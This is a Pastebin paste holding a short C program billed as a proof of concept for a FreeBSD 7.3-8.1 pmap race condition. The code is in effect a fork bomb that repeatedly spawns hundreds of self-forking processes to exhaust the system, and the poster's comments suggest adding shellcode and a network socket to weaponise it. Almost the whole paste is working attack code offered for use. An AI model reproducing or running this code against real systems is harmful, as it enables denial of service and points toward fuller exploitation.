Advertisement
Guest User

Untitled

a guest
Jun 17th, 2017
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. FreeBSD 7.3-8.1 pmap race condition PoC by dunno who but THX!
  3. // can add shellcode and connect socket w/AF_INET and this babys done!
  4. // <3 #HaqNET @ Efnet -xd
  5. */
  6. #include <stdio.h>
  7. #include <sys/types.h>
  8. #include <unistd.h>
  9.  
  10. void newproc() {
  11. again:
  12. fork();
  13. sleep(3600*24);
  14. goto again;
  15. }
  16.  
  17. void runfork() {
  18. pid_t adr;
  19. if(0!=(adr=fork())) printf("fork not zero\n");
  20. else {
  21. printf("fork zero\n");
  22. newproc();
  23. }
  24. }
  25.  
  26. int main() {
  27. int secdel=5;
  28. int dev;
  29. while(1) {
  30. printf("sleep %i sec\n",secdel);
  31. sleep(secdel);
  32. printf("weak up\n");
  33. dev=512;
  34. while(dev--)
  35. runfork();
  36. }
  37. return 0;
  38. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement